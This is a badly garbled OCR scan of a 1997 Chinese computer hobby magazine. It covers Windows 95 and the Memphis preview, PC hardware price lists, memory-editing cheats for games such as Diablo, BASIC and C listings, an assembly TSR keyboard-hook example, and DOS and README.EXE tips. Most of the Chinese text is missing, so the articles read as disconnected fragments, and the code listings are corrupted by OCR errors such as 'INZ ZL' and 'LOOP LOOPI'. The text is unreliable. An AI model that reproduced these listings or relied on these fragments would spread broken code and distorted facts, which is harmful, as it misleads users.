Windows95 Windows95
Windows95
Windows95

. 56.

400

WWW. Windows95. com
2

http: / /ericir. syr. edu/ Newton /welcome. html

BBS
4
“ N (
)
http: / /www. memaster. ca/
(Bortrand
Russcl)
1970
McMaster
Mec-
Master TO8H Salmon ?
http: / /www. dhm. de /index. html
Zeughaus 1952 1990 “
’ n (3 Qoo
m 20 iﬂ 1!'] ; "
—COMPAQ
Windows NT Novell INTERNET
* " WINDOWS NT3.51 NET-

WARE3.12 NETWARE4.1 UNIX
INTERNET

100084
010 62784710 62783595
010 62785841 BP 62047788- 26727
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* X I

* % 22
AIM - 120 AIM -9X 0. 454
JDAM1000 - LB
M61 “ RDELVIS” “ RDALL"
20mm 4 DEMO RR
35
* K PACIFIC
GENERAL RR
QUAKE
* % 1- RR
I 3D
L] DOOM
RR DUKE 3D
Al
]
RR P90 16MB RAM 64
1MB P166 32MB RAM 3D 2MB
Redneck Rampage RR INTER-
PLAY DOOM TOO 640 x 400 1600 x 1200
DOOM 1600 x 1200
RR RR
DUKE 3D
RR DOOM
INTERNET RR
20MB DEMO ©
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Diablo
Load
“ Ha.Ha...... Wel- “ !
come to my world”
“ BUTCHER"“ BUTCHER" ——
R, # % # ... " @

. 64. W EAFE 1997 . 6.



VS DIABLO

L] Magic
WINO9S
FPES Scan memory
X X X X X X X X X X
oy
“ Lxp” : 10 0
00 x x x 1F6

FPES
ALT + TAB
10 O
LXP’
MAGIC

CHr N 16 B dad, L IR 28 6 B F5h7)

218
21C -21F
224 =227
22C - 22F
234 -237
240 - 243
23C - 23F
281
282
283
274 =277
270
1C8 - 1CC
1CO - 1C4
17A - 19D
248 - 257

25C -26B

00
STRENGTH
MAGIC
DEXTERITY
VITALITY
DAMAGE

SKILL
SPELL
SPELL
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;01 ;02

64(100% )

813A625E
32(50 )

FFFFFFFFFF
EF7E58700F
oF

4 FFFFFF7F

MAX

©

PCTOOLS 34
EB
PCTOOLS 35
EB

PCTOOLS S .GRP
DISP 0026 - 0035
01 11 21 31
02 12 22 32
03 13 23 33
04 14 24 34
05 15 25 35
06 16 26 36
07 17 27 37
08 18 28 38
09 19 29 39
0A 1A 2A 3A
0B 1B 2B 3B
0C 1C 2C 3C
0D 1D 2D 3D
0E 1E 2K 3E
OF 1F 2K 3K
10 20 30 40

SAVEGAME.
402 403
255
SHIFT
ALT

ALT+ —

48 75

231 74
(T HR)

41
42
43
44
45
46
47
48
49
4A
4B
4c

(T HIR)

FF

.
(T HIR)

©
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Photoshop

1) File—Page

2) File— Print

Photoshop

M 2 2 o

File

setup

Page setup

= e
[25KIE HP Lanurdat 11> | _t
~ G st P
[HP Lnaidm P - J
Oinisation. =
{ = Futralt ktn EETPETE L -
A el EwEE m
P s I Cubbrstion Bary I Labuls
o ™ Fingisirstiun backs [ Tr—.
) etiinias (el s S Marke 1 Lmatginn o
s e T Cuniir Coug ks T Wl
B 1 REik E AR
Printer ( )
Printer( ) Specific Printer

. 66.

Orientation (

PHOTOSHOP

Landscape

Image Rotate

Paper size

source

<screens. . . >

<screens. .. >

T \hee Privtes’s Defanlt Screenn

e —

e I |
o
Shave: [ Dument =

I lhon Agourate Soreans
1= lise Sama Shape for All [nks

B 2 halftone screens AT 75 1E
halftone screens use printer’s default
screens ( )

halftone

screens

[ (m]
[ ()
EHEI

(Ipi)

'Iﬂﬂ
i o (e

B3 ¥ERARAMATER
(#4)
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¥=

GET (0, 0) - (39, 39), a%: CLS
PUT (100, 100), a%

END
=L gk 3 X ) BSAVE
~ ~ 3
X e £ T Ak pR( 4
BLOAD
L] WINDOWS
BASIC
BMP
SCN
1 —32. SCN——
2 —6. SCN——
3 —38. SCN——
4 —~0. SCN——
5 —5.SCN——
REM SHULIN. BAS 6 —4.SCN—
DIM a% (401) 7 —14. SCN—
SCREEN 12: CLS 8 —7. SCN——
LINE (0, 0) - (39, 39), 6, BF
CIRCLE (10, 20), 13, 2, , , 2.5: PAINT (10, 20), 10, 2
LINE (9, 30) - (11, 38), 0, BF
CIRCLE (20, 18), 15, 2, , , 2.3: PAINT (20, 18), 10, 2
LINE (19, 28) - (21, 38), 0, BF
CIRCLE (30, 22), 12, 2, , , 2: PAINT (30, 22), 10, 2 DIM a% 401
LINE (29, 31) - (31, 38), 0, BF SUB LINES i% ¢%
L > ~ S 3~ s
SR AT ) 32157V R, _
SUB LINES i% %
x% = (i% MOD 16) * 40: y% = INT(i% / 16) * 40
t$ = LTRIM$(STR$(c% )) + ”.SCN”
DEF SEG = VARSEG(a% (0))
BLOAD t$, VARPTR (a% (0))
DEF SEG
PUT (x%, y% ), a%
END SUB
16 48 1997 3.50
82 - 506
20%
31 )
100005 65129295 65265960 (FF4)
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L]
1997.5.6)

CPU IN 120 840 IN 133 1170
A K5-133 630 CY 150 + 880
CY166 + 1080 IN 166 2050
IN MMX 166 2600 IN PRO180 3950
IN PRO 200 5000 A 5x86 - 133 270
1M 30 35 4M30 230
4M EDO 150 8M EDO 300
NEC 486 315 UMC486 340
2000HX 970 VX 780
TVP4 1010 T2P4 1050
Speed Easy 850 2004 490
5128HX 970 VX 880
HX 1030 VX 820
Sea 1. 2GB 1430 Sea 1. 7GB 1550
Sea 2GB 1630 Sea 3.2GB 2100
Max 1. 7GB 1510 Max 2. 5GB 1720
Max 3. 5GB 2250 Max 5. 1GB 3700
Qt SOMB 480 Qt 8OMB 550
Qt 1.2GB 1480 Qt 2.5GB 1840
8X 680 8X 660
I 38X 700 8X 750
4 X 530 SONY 4X 600
8X 710 4X 540
Goldstar 8X 760 Misumi 8X 680
12X 930 Goldstar 16X 1100
TW - 858 115 120
100 150 300 110
180 3D 150
9680 175 9685 340
CP765 285 GL5446 185
8900 165 9000 130

600
TW - 3268 350 1 270
1 390 2 490
430 540

. 70.

\ 1 2 3
UCDOS6. 0 WIN9S Richwin
V - Foxpro V-C+ +  Netscape
WIS WIS MIS
KV300
/
CYRIX AMD INTEL
MMX CYRIX
INTEL M2
CPU MMX AMD
INTEL
K6 CPU MMX
MMX INTEL
CYRIX AMD
MMX CPU
INTEL 120 133
CY150+ CY166 + 100
INTEL MMX 166 CPU 1000
166 550 “ MMX” INTEL
“ PRO”
MMX 57
Pentium K1 M1
CPU
AMD K6 MMX
CPU Win95  Win NT  Win32 Netware 0S/2
Warp Unix
CpPU
K6 INTEL
AMD  CYRIX
INTEL
Alpha pPC INTEL
CPU
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PENTIUM CPU

]
PENTIUM CPU
REMARK INTEL PENTIUM CPU
CPU PENTIUM 100 PENTIUM
120 PENTIUM 120 PENTIUM 133 PENTIUM
— R B 133 PENTIUM 150
CPU CPU REMARK WINDOWS 95
REMARK CPU
DOS  WINDOWS 3.2 CPU CPU
40 ~ 50% CPU
INTEL.  PENTIUM CPU
REMARK CPU CPU BIOS
WINDOWS 95 WINDOWS 95 CPU
90% BIOS CPU
REMARK CPU CPU WIN-
_ DOWS 95
WINDOWS 95
WINDOWS 95
CPU REMARK ~ ?
—_ SE0| COMPUTER FAN CPU
— . iEt#RE
INTEL PENTIUM CPU ©
38
MMX CPU
Pentium CPU HX
VX MMX CPU
16MB 600
200 AT
4 6 8 12 16 IDE
1000 500 1200
10 =30
P A
8 12 16
Money @
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1996

1996

P5/166

.72,

cHIYIE PC i

L]
PC
1996
1996
1996
1996 PC
“ No. 1
“ i 1996
1997
) "
166
8010 :
MTV
MTV
1997 1997
1997
1996
pPC

1997
PC (
0.05%
1997
ATX
6 1996
MTV “
1997
MTV’ 97
1997
1995

pPC

PC

1996
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1995
“ "1996
6.5 1997
10
1997
1996
1996
4.5
1997 2
FP +
” FP +
FP +
( )
1997
1996
1997 PCTV
(1996
) 1997
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1997 PC
[ |
|
1995 [ | 1996
1
1997 1
Aspire 1500
Aspire 1
1997
PC
PC
‘ b @
(EHF107)
Ja-
va Sun
Java
Java Java Java
2000 1
PC Java Sun
Java Sun

Java

M Java Bl 2| ILA AL 3000 7 AN, B
F—FEANKLFTREBE, 2 Java BRI
# (Java Cup) L EHAT, A 19 MEFKEL, K
AR E . Java SR AT A AR LR LR b
AR — AR SR AN EGF
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1995
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45%
2% 1993
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2000
: ” IBM
12
1996 8 1S09001
2000 ~
4000
1997 3
1996
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23
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L]
RKRER, FFRA
1994
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3
Win95 32
P 818/858
5000/6000 Win95
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1996
486
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1997 3

#include <stdlib. h>
#include <stdio. h>
int getm(int a, int b) /* */
{ int h;
if(a <0)a= —a; if(b <0)b= —b;
if(a <b){h=a; a=b; b=h;}
while(a%b! =0)
{fh=a; a=b; b=h%b; }
return b;
}
main ()
{
int a, b, c,d, e, f, h, h2;
char op;
printf(”

(b/a) (+-%/=+) (d/¢)\n");
scanf("% d/ % d %c %d/%d", &b, & a, & op, & d, & ¢);
if(a= =0llc==0) {printf("
exit(0); }
if(a){ h=getm(a,b);a/ =h;b/ =h; }
if(d){ h=getm(c,d);c/ =h;d/ =h; }/* */
switch (op)

{
case ' =" d= —-d;
case '+t { h=getm(a,c); h2=a/h; e=h2%c;
f=b*c/h+h2%*d;
h =getm(e, f); e/ =h; f/ = h; break; }

case ' +:
case '/': {if(d){h=c;c=d;d=h;} else
{printf (" 0!"); exit(0); }}

case '*': {h=getm(a,d);a=a/h;d=d/h;

h=getm(c, b); c=c/h; b=b/h; e=a*c; f=b*d;

break; }
default:  {printf(”
+ =%/ +"); exit(0); }
}
if(e <0)f{e= —e:f=—-1;}
if(le= =1lle= =0)printf(” 2% d", f);
else printf(” %d/%d" f,e);
}

. 80.
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(1) =7 S5 o8 Nk A AR Al AR AL, BAR K%
INEEFE 246 BT HE T AESLBP T

(2) R#EMEE o, b WALT AL FEEEH T
%I :{a=bAb;b=bAaja=alb;}

(3) AL A KA B IG o e B, A2 A A HaE L eh
L EAF SN RE LR FHRAT, Blhe. B
1, :E‘ f, :ﬂmu;& % nl, n2 89 3% AMEFA b
ﬂﬁ%i%ﬁ?&@ﬁ’@&mlmZﬂf? 2 R AR
bR E A

(4)TRFH SR THEE R, bt m ks
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J O e I

; %
; §
100039 é
S 250022 g
S e S O U )
1997 6
IBM
Day 1 2 3 4 5 6 7 8 910 11 12

Price 68 69 54 70 68 64 70 62 67 78 98 87

Day 4 5 6 8
Price 70 68 64 62
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INPUT. TXT
(1 <=N <=5000)

INPUT. TXT
12 68 69 54 70 68 64 70 62 67 78 98 87 1 Internet  E — mail
2
3
Longest length 4
Total with this length 2
(A (1or' 1 2 3 4 1 2 3 4
97 ) 4 20 Al 8 7 6 5 B| 4 1 2 3
( ) ( ) Ly 213 |4 ss|7]6
( ) ( ) 8 7 6 5 8 7 6 5
21 1 2 3 4
Cl 1 7 2 4
863 |5 )
BABERELEFRAKE L0 96 LR, PEW % 8 7 6 5
ARGEF RS REMN, EF—HRFLP, PEARLA—E 2 3
& A NET 89 558 Al 3K 8 09 47 45 A 4% d ik R 4R 8
B, B EAI AR X A — A AR A TOT96 AR iK p
M5 101' 97 B ARKRRAH TAREFHEPAL A% I I
& Internet M & RR , AR b % LR L A5 4E, A
: . B
Rubik 300
o 1 8 B
l_
o :
INPUT. TXT 8
OUTPUT. TXT
123456738 1 L L
A OUTPUT. TXT
B C 7
B
A C
B INPUT. TXT A
126845731 | B
C 4 C
3 C
B
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FLYFISH
(1) Y—
(2) N— (2)
Y—OK N—(3) (3)CMOS
Y—(4) N—(9) (4) Y—
N—(5) (5) FDISK
Y—(6) N—
(6)
DOS Y—(7) N— DOS
C: (7) DOS
Y—(8) N— DOS
(8) C: DOS COM-
MAND. COM Y—  SCANDISK
N— SYS C: (9)CMOS
Y—s
N— / IDE
DOS
Windows
1.
2.
3 /0
DOS Prsc
WPS Windows
Windows
DOS DOS
! ” Windows
Windows DOS
Windows “

" Windows
Temp Autoex-
ec. bat SET TEMP = c¢: \ windows \ temp
Windows
“ LPT1. DOS” LPT2. DOS”,

. 82.

LPT1. DOS WIN. INI PORTS
“ LPT1. DOS” WIN. INI
Windows LPT1. DOS
Windows
Windows95
START FIND
My Computer View Options
Folder
Browse folders by using a single windows that changes as
you open each other, OK
1+1 586 WINO95
OFFICE9S WORD
WORD
( )
WORD
KV300
Word
WORD
Word

YT
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60
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128
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prs

* ACPI
*
"
Windows 97
Memphis
& Internet Explore
- Memphis =
Microsoft Mem-
phis
] Internet
Memphis
Microsoft 97 Internet ——Web View Active Desktop Internet
Windows 97  Microsoft Memphis Explore 4. 0
)  Memphis IE 4.0 Memphis Web View
Memphis Windows Explore Active
Memphis Desktop ~ Windows Internet
* Internet
* FAT16  FAT32
* Win32 (WDM) Web-
* View  Active Desktop, Memphis Windows
* 95 Memphis
* VBScript  JScript Script
* Internet
* SCSI (#FR)
1000 3
100 ‘ !
5 10
() ‘ ! 500 1000
- 66 N ” |- = |\
L AN L
. . @
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Windows 95 OEM Service Release 2 32
(32 —bit FAT)  Memphis Memphis
16
(FAT16) 32 (FAT32)
FAT32 Mi-
crosoft Memphis
FAT16  FAT32
Memphis Win3. 2 (WDM)
Windows 95 Windows NT
WDM
NT WDM
NT NT
WDM NT
WDM Mi-
crosoft
USB, IEEE 1394 (FireWire), HID (Human Interface Devices)
DVD Micorsoft
Memphis
Win-
dows 95 (
) Memphis
Microsoft
Memphis Windows 95
Memphis
Microsoft
Memphis
Memphis
50MB
Windows 95
Memphis
IDE
Memphis
Micorsoft
Windows 95
Memphis
15
Microsoft
API( )
PCI
Windows 95
Memphis
21 17
Memphis
Memphis * Windows
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Scripting Host”

Microsoft Windows
Memphis NT
VBScript  JavaScript
Perl REXX
Microsoft
" Internet Update Manager” Internet
Microsoft
ActiveX
Seagate
SCSI  Travan Windows 95
Memphis
Windows 95 Microsoft
Memphis
Microsoft ~ Memphis

(ACPI) ACPI
BIOS ACPI

BIOS ( Intel  Pentium TX ) Mem-
phis (Control Panel)
(
) Mempbhis
NT (Registry)
Memphis
Plus
API
FATI16 FAT32
(System Files Checker)
Memphis
4
Windows 95 Plus (System
Agent) (Scheduled Tasks)
Memphis * FrontPad”
HTML NotePad  FrontPage
Memphis * "
(PPTP) Internet
NDIS 5
Windows 95 Windows 3. 1
Memphis
Windows NT
©
1L



prs

=K s
WNHAE
1996 PC
192
100% PC
800 — 1000
500 — 700
CHINANET 5 28
Internet
CHINANET
Internet
E “ »
Internet
6 O " 97 Tech. Ed
Tech. Ed
Lexmark 5 22
Lexmark ( )
1 Lexmark
Lexmark
1020 2030 2050
Lexmark
HP DJ 670C wmp
DJ 670C
20 30 RealLife
DJ
670C 4
1.6
L12.

HP 5 14
HP PC
9 HP “
—97 ”
2. 0A Windows NT
Win-
dows NT4. 0
NT http: //www. suntendy .
com NT
PC Server
PC Server CPU
2CPU 4CPU
Intel Pentium Pro/200MHz
Intel
5 27
15
100
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10 CLEAR
20 INPUT "NN ="; NN

30 DIM A(NN)

40 FOR 1=1 TO NN

50 READ A(1)

551F A(I) = — 1 THEN 75
S§N=1

60 T=T+A(I)

70 NEXT

75 M =T/N

80 PRINT "T ="; T,

83 PRINT "M ="; M

87 PRINT "N ="; N

90 END
100 DATA 3,8,2,4,12, -1
20 INPUT
N 5
10 NN = 10,
NN =
10
450 500
900 1000
75—80
30
50 60
55 58 55 A(D) = -1
75 ELSE
.14,

ELSE DATA
100 S L

9999 0.00001 58

I N
N=5 6 -1 I=6
I N 55
N=5 75 80
T 83
T 87
NN =
5 10
T=29 M=5.8
N=5
BASIC
8.
BASIC
10 CLEAR

20 INPUT "NN ="; NN

30 DIM A(NN)

40 GOSUB 1000

50 M1=M

60 GOSUB 1000

70 M2 =M

80 PRINT "M1 = "; M1,"M2 ="; M2

90 IF M1 <M2 THEN PRINT "M1 <M2" ELSE

PRINT "M1> M2"

100 END

200 DATA 3,8,2,4,12, -1

300 DATA 5.678,19.1,3.42,5.982,11.9, 14, -1
1000 FOR I'=1 TO NN

1010 READ A(1)

1020 IF A(I) = =1 THEN 1060

1030 N =1

1040 T=T + A(I)
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Saftaf WINGS hBLd

4.
. 6
]
WIN 95 6.
WIN 95
7.
g P ”
N “ ”
5 . "
P " . " Winos
Win95
3. “ Win 95" “
! ! Win 95
— Win 95
©
1050 NEXT
1060 M = INT(T/N* 100 +0.5) /100 70 M
1070 RETURN 70 M
1000—1070 ‘ "M2 80 M1
40—75 1060 M2 M1
INT 90 M1 <M2
Ml <M2 MI> M2
200 300 DATA
10—30 40
16
50 6  BASIC
Ml “ » 60 BASIC BASIC
A
(1) A(2) A(3) A(NN) “ !
T ” M ” 16
« P ”
(A%)
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5.Config.sys “ " “ ¥

(1) Config. sys ()
REM MS -DOS

(2) (?) (=)
MS - DOS
DE-

VICE = EMM386. EXE RAM

DEVICE? =
1. “r EMMS386. EXE RAM ( )
1“0 DOS “okwx”
C \IDR. 6. DEL P
2“ " DOS
C \DOS KCD. .
DOS P del *. % /p
3¢ DOS  dir ‘% Y/N
C \DIR. .. Y N OK
( )
g e 7.D0OS6. 2
C \DOS koPY. .. DOS6. 2
UNINSTALL#1  UNINSTALL#2
( ) UNINSTALL DOS6. 2
2 w ooom setup/g
1 DIR UNINSTALL setup/ m
C \DIR DOS setup/f DOS
2 ATTRIB
C \ ATTRIB
3 CcoPY
Cc \kory +
3.7 f .
bos R SEA B % BUPE D %, G
. ]
\UCDOS\
SRC\TX\PRG \UCDOS\ DRV CD. .\
. \..\DRV ( ) A
* . BMP
4, *
* SEA
SHIFT  + * * . JPG
*
DIR * SEA
EXE DIR *.EXE ( *.BMP) F2
DIR. EXE * PG
©
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b

TR

aga;\.]“> 97“> > ”R%

]
“ oo
DIR ( Al.WPS)
WPS ( A2) TYPE A2> Al. WPS
s DIR/ Al. WPS
S/ON> DIR. TXT s s s
“ o
DIR. TXT (
E \ x.WPS) s DIR E \ x
DIR/S/ON . WPS> > DIR. TXT
DIR/S/ON> ( Al A2) TYPE Al> > A2
DIR. TXT WPS
DIR. TXT ( 1024
TYPE TYPE )
DIR. TXT TYPE DIR. TXT> PRN “ TYPE > > K
W
DOS
DIR/S/ON> PRN
MEM C
P
s MEM/C> Al ©
Al
s . S L L ey “1A7 ‘A"
%QB w}ﬂ ﬁi E]J éﬁ ] j ij 2 " call xxx”
/ T—
; [
1. EXE QB
Pctools “
QB ! exe
exe ©
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B8 Windows 3.x BRFAM--H%

]
Windows FS. FOT
3. [ Associated DefaultFonts ]
Windows 4. Win. ini Win-
Win. ini dows
1. Windows Win. ini Win. ini [Fonts ]
Write  Word Win. ini
Win. ini Win. fst
2. [DBCSFonts] AssocSystemFont =T Win. wbt
T SIMSUN. FOT SIMSUN. FOT( ) DOS Win. * Win. ini

@

. 18. W EEAF A 1997 . 7.



-

ik R

README. EXE
README. EXE
1
README. EXE
README. TXT
README. EXE
README. EXE
TXT2EXE
README. EXE EXE 4
g
1. README/e

2. README /e> PRN

3. README /e README. TXT = README.

EXE README. TXT
README.
EXE EXE2TXT e2t. exe
e2t. exe EXE EXE2TXT
EXE
C: \> e2t exe [ 1[/el
EXE TXT ‘et
e2t. exe TXT2EXE
TZE
exe ‘e
Isxx. bmp XX
TTE README. EXE
UNTTE. EXE
C \IUNTTE EXE [/C] [/E]
vies “ J/E"

Computer Fan 1997 . 7.

C \IUNTTE README. EXE
UNTTE. TMP

README. EXE
UNTTE. TXP
VTTE
UNVTTE. EXE
C: \IUNVTTE
Input EXE filename: [exe]
“ README. EXE"
UNTTE. TXT

README. EXE
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BV L el ek b ol el e n e nl e ARG A RN Ay

« » « »
WINDOWS 95 4.

WINDOWS 3. X !

“ . WINDOWS 95 * v ”
“ " o " 4
“ " WINDOWS
@ ” 4
@ ” 12
1.
6)) " 3
WINDOWS ©) " 4
@ ” 3
9 « » ( )
28 5.
@®
@
“ o
@ " I
3 « »
16 @
®
/
6. “ ?
TAB Ins X Y
640 x480( 800 x 600
) (pel) « -

pel
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B

O CACHE. EXE
SMART- ﬁzz SMARTCD. EXE  FAN STONE COPY
DRV.EXE NCACHE.EXE SPEEDRV. ﬁl‘ 8.0
EXE PC - CACHE. EXE  SMARTCD. ,'- DOS SMARTCD/
EXE CD - QUICK. EXE Q}E SETUP
SMARTDRV. EXE \/ CD - QUICK CACHE 1. 11
MS -DOS  MS - WINDOWS ( [I] PETER VOLPA
r CD - ROM
AU- $}\ AUTOEXEC. BAT
TOEXEC. BAT LH[ ] CDQ MSCDEX. EXE
SMARTDRV. EXE MSDOS6. 22 1L'|: SMARTDRV
WINDOWSS3. 1
SMARTDRV. EXE T
MSCDEX A SPEEDRYV.
NCACHE. EXE  SPEEDRV. EXE Jln..o EXE
NORTON SDSETUP. EXE
SYMANTEC NORTON OK
NCACHE. EXE NORTON
SPEEDRV. EXE 80% DOS
NCACHE. EXE 40% WINDOWS3. X
SPEEDRV. EXE
NCACHE. EXE NORTONS. 0 MEMMAKER OPTIMIZE MAXI-
NCACHE2. EXE SPEEDRV. EXE MIZE
4. 08 WINDOWS3. X NOR-
SMARTDRV. EXE TON SPEEDRIVE DISK PERFOR-
PC - CACHE.EXE CENTRAL POINT MANCE TESTER
SYMANTEC @
PCTOOLS
PCTOOLS9. 0 PC -
(0 0) (639
479)
(150 180)
100 (150
180)
(100 100)
7.
: o " Windows
@
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WIN95
WIN95 WIN95
WIN95
1. WIN95
MS - DOS WIN3. X WIN95
WIN9S
Setup. txt Readme. txt Fap. txt
Notepad ( ) Fap. txt * . cab
Ex-
tract. exe (Extract. exe
WINO9S Readme. txt “
! )
Readme. txt “ WIN9S !
* . cab WIN95
WIN9S
WIN95
WIN9S Extract. exe
WIN95 WIN95
WIN9S Fap. txt
WIN95
WIN95 MS - DOS
WIN95  CD - ROM
MS - DOS
WIN95 MSDOS. SYS
MS - DOS
: WINDOWS95”"
(1) WIN95
(2) WIN9S
(3) WIN9S
(4)  WIN95
WIN9S
(5) WIN95 WIN95
2. WIN95
(1) WINOS
.22,

Fap. txt Setup. txt Hardware. txt

Microsoft

(2) Exchange. txt Inter-
net. txt Msn. txt Network. txt General. txt

(3) Printers. txt

General. txt

WIN95

MS - DOS

1. Programs. txt

WIN95 mwundel. exe
defrag. hlp 5 deltree. exe  chkd-
sk. exe doskey. com edit. com mem. exe xcopy. exe

emm386. exe smartdrv. exe 32

2. Config. txt Msdosdrv. txt

MS - DOS7. 0 Config. sys
Config. sys
3. Tips. txt WIN95
(1§ " « "
(2) ! WINO9S
WINO9S
CTRL+X C V
SHIFT + DELETE
WIN9S5 Win + E
Win + M
(3} " a - "
WIN9S (
CD CD -
ROM ) WINO9S
( ) ©
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QuikMenu Il
QuikMenu Il Neosoft DOS
QuikMenu
DOS
EXE COM BAT
QuikMenu
QuikMenu
TOOLS GAME
QuikMenu
50
68
QuikMenu DOS
QM QuikMenu
QuikMenu
QuikMenu 3
Info QuikMenu
Modify
QuikMenu
( )

Computer Fan 1997 . 7.

L]
Page
Dos DOS
EXIT QuikMenu
File QuikMenu
Utility
QuikMenu
QuikMenu
Exit QuikMenu DOS
Help F1
HD-COPY
QuikMenu
1. Modify
Add( ) Edit( ) Copy
( ) Move( ) Size( ) Delete( )
Title ( ) Protect( ) Setup( ) Done
( )
2. Add Soft-
ware Icon ( ) OK
3.
Speed
Key
H
.23.



16 bit

i’.}g éﬁ WIN 95 Lin -1 MIC MIDI

. N A Lin -1 MIC
“ AR T &
( Ch )
MIC
[ SPK
( )
Windows
WIN 95
WIN95
WIN 95 Windows
File ‘ " : ? &
H
Name
HD-COPY QuikMenu
Location C\
TOOLS Command
HD-COPY. EXE QuikMenu
4. Style
ICON
QuikMenu 16 PCX
OK Quik-
Menu WINDOWS
OK .ICO
5. OK QuikMenu
PCX
QuikMenu WINDOWS
QuikMenu
6.
Edit QuikMenu
1. 3MB
QuikMenu 512KB
7. 1. 3MB
Done DOS3. 1
HD - COPY H
HD - COPY
QuikMenu ©
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2
F4
CEy N YN
C}
S B & 2\
3
16 3
. 3
16
DOS WPS 15 20
4.
Word
Word
WPS
1. F4
16 15 20 “ ” Word
‘ " ‘ " 6.0 Word 7.0

@

3.
. p ”
F4
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WPs k{8i%iRE) WORD th

[
WORD WPS WORD WPS
WPS WPS WORD 4.
WORD
1. WORD WPS WPS
WORD
2.
5.
3. WPS
WORD

WPS

5 20-24 ‘97 " 6.0
5 6.0
3
Windows95 Internet Windows3. X DOS Windows 260 ( 120
2 39
DOS
Office NetScape JAVA Delphi Photoshop CorelDraw VB
VC BC Visual FoxPro Qaplus Xing FoxPro BASIC C (023)63876722
( 62647342 87548549 5604048
) 63226198 23342579 5146711
7874577 7801033 3909650
2541656 8071324 2873295
6.0 6234342 2617729 3613210
BP 128 - 5211009 2132613 6783648
5237068 6044397
386 ( )
ARKRH
ARARUTFNHEAARTS
Windows Internet  DOS 53 408 210007
2 160 ( 70 ) MOONSOFT (025)4584048
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B

TSR
INT 9
ﬁ 5 ‘% % gl }" INT 16H INT 1CH
¥ 7)) & TSR
TSR
| INT
/ 13H 3 ( )
TSR
TSR  DOS
DOS
TSR TSR
TSR
TSR 1. INT 27H
TSR Terminate and Stay DOS
Resident Utility EXE COM DX
TSR DOS DX
16 DX
64K COM
DOS
2. INT 21H 31H
TSR DOS 31H INT 27H
DX
TSR 16
64K
DOS AL
COM
DOS EXE
TSR
TSR DOS
TSR
DOS
TSR
TSR TSR
TSR TSR
DOS TSR
EXE INT 27H
INT 21H 31H DX
TSR

CODE SEGMENT
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ASSUME CS CODE DS CODE

ORG 100H

START JMP INIT
OLDINT DD 0
NEWINT PROC NEAR

NEWINT ENDP

INIT

MOV AX 35% *H * % H
INT 21H

MOV WORD PTR OLDINT BX

MOV WORD PTR OLDINT ES OLDINT
MOV DX OFFSET NEWINT

MOV AX 25% *H

INT 21H * *H NEWINT
LEA DX INIT

INT 27H DOS

CODE ENDS
END START

TSR
TSR

TSR
TSR
TSR

TSR

TSR

TSR
INT 09H TSR
COM
COM
ALT + CTRL “ Welcome,
TSR” INT 09H INT
1CH

CODE SEGMENT
ASSUME CS: CODE; DS: CODE
ORG 100H

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH SI

MOV AX, 40H

MOV ES, AX

CMP BYTE PTR ES: [18H], 3

JNZ OLD

PUSH CS

POP DS

MOV AH, 03H

MOV BH, 0

INT 10H

PUSH DX

MOV DX, 0030H

LEA SI, MSG

MOV CX, 11

LOOP1:

MOV AH, 02H

INT 10H

MOV BL, 47H

MOV AH, 09H

LODSB

INT 10H ;BIOS

INC DL ;

LOOP LOOPI ; 9

MOV AH, 02H

POP DX;

INT 10H; BIOS

OLD:

POP SI;

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

POPF

JMP CS: OLDO09;

NEWO09 ENDP

INIT:

MOV AX, 3509H; 09H

INT 21H

CMP BX, OFFSET ES: NEW09

INZ ZL;

MOV DX, OFFSET YZL

MOV AH, 9

INT 21H ; DOS

MOV AX, 4CH

INT 21H

ZL: H

MOV WORD PTR OLD09, BX

MOV WORD PTR OLDO09 + 2, ES
MOV DX, OFFSET NEW09
MOV AX, 2509H

START: JMP INIT
OLD09 DD 0
; 09H Sellers —A—

? E LA DX
LEA DX, INIT
JA\ INC DX

i\/lSG DB 'Wel , TSR$'
NEW09 PROC FAR [MEER 5T

PUSHF ;
PUSH AX

. 28.

- p— INT 27H
EE: ..g YZL DB 'Stayed!$’
CODE ENDS
END START
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1996 5
COMPAQ DP486/33M CR3240
1994 DOS6. 0 WIN3. 1
\Y DOS WPS
PWIN3. 1
Windows
Word  Excel
PWIN3. 2
Word6. 0 Excel5. 0 DOS
WPS WPS
7 COMPAQ 586
7240(P5/133) 16MB 1.2GB 6
4PA3
4VCA3
PWIN3. 2 PWIN9S Word Excel
6.0 5.0 7.0 WPS
‘ " (
) (
)PWIN95 Word7.0 Excel7.0
Word Excel
PWIN95 “ ! WPS
Windows P5/133 16MB
WIN9S 32
PWIN95 Word Excel DOS
WPS 486
P5/133 Windows

Computer Fan 1997 . 7.

DOS WPSNTI. 2

WPS P5/133 16MB
PWINO9S Office95 !
WPS
PWIN95
PWIN9S Word Ex-
cel PWIN95
Word Excel
XING MPEG CD
VCD PWIN95
Windows95
486
1. 05
P5/100 8MB 2MBVRAM
1.2GB DJ -200A4
DOS6. 2 WPSNTI. 2
PWIN3. 2
VCD
PWIN9S * Windows95
” PWIN3. 2
Word Excel “
y”
100MB DOS
WPS PWIN3. 2 VCD
CD HP - DJ200
Windows
P5/100
1.2GB WPS 4 -
7 586
486
1100MB ? “
.31.



CPU Windows95 PWINO9S5
WIN32 CSTAR2.0 +
PWIN95
1.3 COMPAQ586
CPU  P5/100 8MB 1.2GB
PWIN95
VCD PWIN9S ‘ o
* " Windows95 !
COMPAQ
P5/100 ? " VCD
" P5/100
586 “ ?
AUTOCAD
P5/133 32MB 1. 6GB
EPSON MJ - 1500K A3
DOS WPS(UCDOS3. 1 ) AU-
TOCADI12.0 HJCAD
WIN3. 1 2.0
?
Windows Photoshop3. 0 Photostyle2. 0 Corel-
Draw5. 0 ? 3
Word Excel UCDOS 73 ? ©
WPS WPSNTI1. 2
[
. \
PWIN9S Office7. 0 *
AUTOCAD(V13.0)
*
PWINOS - Q) \(
( ) PWIN3. 2 *
*
*
*
*
2.0+ Excel Word *
* vV-C-D
2.0+ FOR |° OK “ I am sorry.”
.32, W Z A 1997 7.
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Visdousds [IJ

Windows95

Windows95

BUG

Windows95
Powertoy Kit

Update version Pow-
erkernel Kit Windows95

Powertoy Kit

Powertoy UI Enhancements User Interface
Enhancements Update ver-
sion Powerkernel  Powertoy Mi-
crosoft WWW Update version
1MB 200KB

(
)
BBSes on —line services WWW
BBSes on —line services
WWW
Powertoy
Powertoy
Download
“ http: / /www. microsoft. com /windows /software. htm”
powertoy. exe
DOS
install. inf ‘
! powertoy
Windows95
Tweak Ul
11
Tweak Ul

Computer Fan 1997 .7.

Explorer
Ex-
plore from here Command prompt here ~ Contens
.CAB
Powertoy
